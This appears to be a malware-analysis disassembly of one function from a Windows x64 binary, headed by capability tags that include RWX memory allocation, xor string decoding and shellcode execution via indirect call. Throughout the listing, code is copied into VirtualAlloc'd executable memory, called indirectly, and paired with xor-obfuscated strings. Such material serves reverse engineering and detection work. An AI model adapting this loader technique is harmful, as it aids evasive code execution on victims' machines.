Function at 0x14021c410
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x1d40
call fcn.140267620
sub rsp, rax
movaps xmmword [rsp + 0x1d30], xmm6
movaps xmmword [rsp + 0x1d20], xmm7
movaps xmmword [rsp + 0x1d10], xmm8
movaps xmmword [rsp + 0x1d00], xmm9
movaps xmmword [rsp + 0x1cf0], xmm10
movaps xmmword [rsp + 0x1ce0], xmm11
movaps xmmword [rsp + 0x1cd0], xmm12
movaps xmmword [rsp + 0x1cc0], xmm13
movaps xmmword [rsp + 0x1cb0], xmm14
movaps xmmword [rsp + 0x1ca0], xmm15
mov rax, qword [0x14028a040]
xor rax, rsp
mov qword [rsp + 0x1c90], rax
xor esi, esi
mov edi, esi
mov dword [rsp + 0x44], esi
mov dword [rsp + 0x170], esi
lea rcx, [rsp + 0x8e0]
call fcn.1401f3800
lea rdx, [rsp + 0x1d58]
lea rcx, [rsp + 0x8e0]
call fcn.1401f2200
nop
movdqa xmm15, xmmword [0x1402795b0]
movdqa xmm13, xmmword [0x140279570]
movdqa xmm12, xmmword [0x140279590]
movdqa xmm9, xmmword [0x140279550]
movdqa xmm8, xmmword [0x140279690]
movdqa xmm7, xmmword [0x1402796b0]
movdqa xmm11, xmmword [0x1402796c0]
movdqa xmm10, xmmword [str.kkkkoooo]
movdqa xmm14, xmmword [0x140279680]
movdqa xmm6, xmmword [0x140279660]
mov r13d, 1
lea r12, [0x140000000]
lea rbx, [0x140242e50]
movabs r15, 0xff00ff00ff00ff00
mov r14d, dword [0x14028a090]
mov dword [rsp + 0x50], 0x1d4c0
lea rcx, [rsp + 0x550]
call fcn.1401f3800
lea rdx, [rsp + 0x1d58]
lea rcx, [rsp + 0x550]
call fcn.1401f2200
nop
mov ecx, esi
mov rax, qword [0x14028e110]
test rax, rax
je 0x14021c5b9
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x14021c5a8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x28e110]
test rax, rax
jne 0x14021c590
jmp 0x14021c5b9
mov r8, qword [r12 + rdx*8 + 0x2903f0]
test r8, r8
jne 0x14021c69f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14021c5e2
mov r8, rsi
jmp 0x14021c67e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14021c5f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
mov qword [r12 + rax*8 + 0x28e110], rbx
mov qword [r12 + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x550]
xor rcx, qword [rsp + 0x558]
mov qword [rsp + 0x550], rcx
mov rax, qword [rsp + 0x560]
mov qword [rax], rcx
movups xmm0, xmmword [0x140276ca8]
movups xmmword [rsp + 0x550], xmm0
movsd xmm0, qword [0x140276cb8]
movsd qword [rsp + 0x560], xmm0
mov eax, dword [0x140276cc0]
mov dword [rsp + 0x568], eax
cmp byte [0x140276cc3], 0
je 0x14021c911
mov r9d, esi
cmp r14d, 2
jl 0x14021c8a9
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x554]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x14021c730
cmp r9d, 0x1c
jge 0x14021c911
movsxd rax, r9d
lea r10, [rsp + 0x550]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1c
jl 0x14021c8c0
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x120]
call fcn.140207160
mov rcx, rax
call fcn.1401fab60
lea rcx, [rsp + 0x120]
call fcn.140212190
lea rdx, [0x14028d1e8]
cmp qword [0x14028d200], 0xf
cmova rdx, qword [0x14028d1e8]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14021c960
mov rax, qword [rax]
cmp r8, qword [0x14028d1f8]
jne 0x14021c979
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14021c979
xor bl, bl
jmp 0x14021c97b
mov bl, 1
lea rcx, [rsp + 0x120]
call fcn.140240fd0
test bl, bl
je 0x14021ca05
lea rcx, [rsp + 0x120]
call fcn.140212190
mov rdx, rax
lea rcx, [0x14028d1e8]
call fcn.14023f6a0
lea rcx, [rsp + 0x120]
call fcn.140240fd0
lea rdx, [0x14028d1e8]
lea rcx, [rsp + 0x120]
call fcn.14023f840
mov rdx, rax
lea rcx, [rsp + 0x5b0]
call fcn.140205a30
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.140205090
mov rdx, rax
lea rcx, [0x14028d450]
call fcn.14023f6a0
lea rcx, [rsp + 0x220]
call fcn.140240fd0
movups xmm4, xmmword [0x1402782c0]
movups xmmword [rsp + 0x50], xmm4
mov edx, dword [0x1402782d0]
mov dword [rsp + 0x60], edx
movzx eax, word [0x1402782d4]
mov word [rsp + 0x64], ax
movzx eax, byte [0x1402782d6]
mov byte [rsp + 0x66], al
mov r9d, esi
cmp r14d, 2
jl 0x14021cdad
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movdqa xmm3, xmm12
punpckldq xmm3, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x58]
xorps xmm2, xmm1
movd dword [rsp + 0x58], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
movdqa xmm4, xmmword [0x1402795d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x60], xmm2
mov r9d, 0x14
mov eax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x17
jl 0x14021cdc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rsi
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14021ce40
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x100]
call fcn.1402071a0
lea rcx, [rsp + 0x100]
call fcn.1401fab60
lea rdx, [0x14028adf0]
lea rcx, [rsp + 0x120]
call fcn.14023f840
mov rdx, rax
lea rcx, [rsp + 0x5b0]
call fcn.14021b030
mov rbx, rax
lea rax, [0x14028ad90]
cmp rax, rbx
je 0x14021cf1a
mov rdx, qword [0x14028ada8]
cmp rdx, 0xf
jbe 0x14021cedd
inc rdx
mov rcx, qword [0x14028ad90]
cmp rdx, 0x1000
jb 0x14021ced8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14021cf98
mov rcx, r8
call fcn.140266300
mov qword [0x14028ada0], rsi
mov qword [0x14028ada8], 0xf
mov byte [0x14028ad90], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x14028ad90], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x14028ada0], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rcx, [rsp + 0x5b0]
call fcn.140240fd0
mov dword [rsp + 0x50], 0x3e8
xorps xmm0, xmm0
movups xmmword [rsp + 0x550], xmm0
lea rax, [rsp + 0x1d58]
mov qword [rsp + 0x558], r15
mov qword [rsp + 0x560], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0x550], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x14028e110]
test rax, rax
je 0x14021cfb0
mov rdx, rsi
lea r8, [0x140242e50]
nop dword [rax + rax]
cmp rax, r8
je 0x14021cf9f
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x28e110]
test rax, rax
jne 0x14021cf80
jmp 0x14021cfb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r8, qword [r12 + rdx*8 + 0x2903f0]
test r8, r8
jne 0x14021d0a6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14021cfd9
mov r8, rsi
jmp 0x14021d07e
lea rax, [0x140242e50]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14021cff0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [r12 + rax*8 + 0x28e110], rcx
mov qword [r12 + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor rbx, r15
mov qword [rsp + 0x550], rbx
lea rax, [rsp + 0x1d58]
mov qword [rax], rbx
movups xmm4, xmmword [0x140275f10]
movups xmmword [rsp + 0x50], xmm4
mov edx, dword [0x140275f20]
mov dword [rsp + 0x60], edx
movzx eax, byte [0x140275f24]
mov byte [rsp + 0x64], al
mov r9d, esi
cmp r14d, 2
jl 0x14021d468
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x58]
xorps xmm2, xmm1
movd dword [rsp + 0x58], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
movdqa xmm4, xmmword [0x1402795d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x60], xmm2
mov r9d, 0x14
mov eax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x15
jl 0x14021d480
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rsi
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14021d500
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x100]
call fcn.1402071a0
lea rcx, [rsp + 0x100]
call fcn.1401fab60
mov dword [rsp + 0x50], 0x3e8
xorps xmm0, xmm0
movups xmmword [rsp + 0x550], xmm0
lea rax, [rsp + 0x1d58]
mov qword [rsp + 0x558], r15
mov qword [rsp + 0x560], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0x550], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x14028e110]
test rax, rax
je 0x14021d5a9
mov rdx, rsi
lea r8, [0x140242e50]
nop dword [rax]
cmp rax, r8
je 0x14021d598
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x28e110]
test rax, rax
jne 0x14021d580
jmp 0x14021d5a9
mov r8, qword [r12 + rdx*8 + 0x2903f0]
test r8, r8
jne 0x14021d697
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14021d5d2
mov r8, rsi
jmp 0x14021d66f
lea rax, [0x140242e50]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14021d5e1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [r12 + rax*8 + 0x28e110], rcx
mov qword [r12 + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor rbx, r15
mov qword [rsp + 0x550], rbx
lea rax, [rsp + 0x1d58]
mov qword [rax], rbx
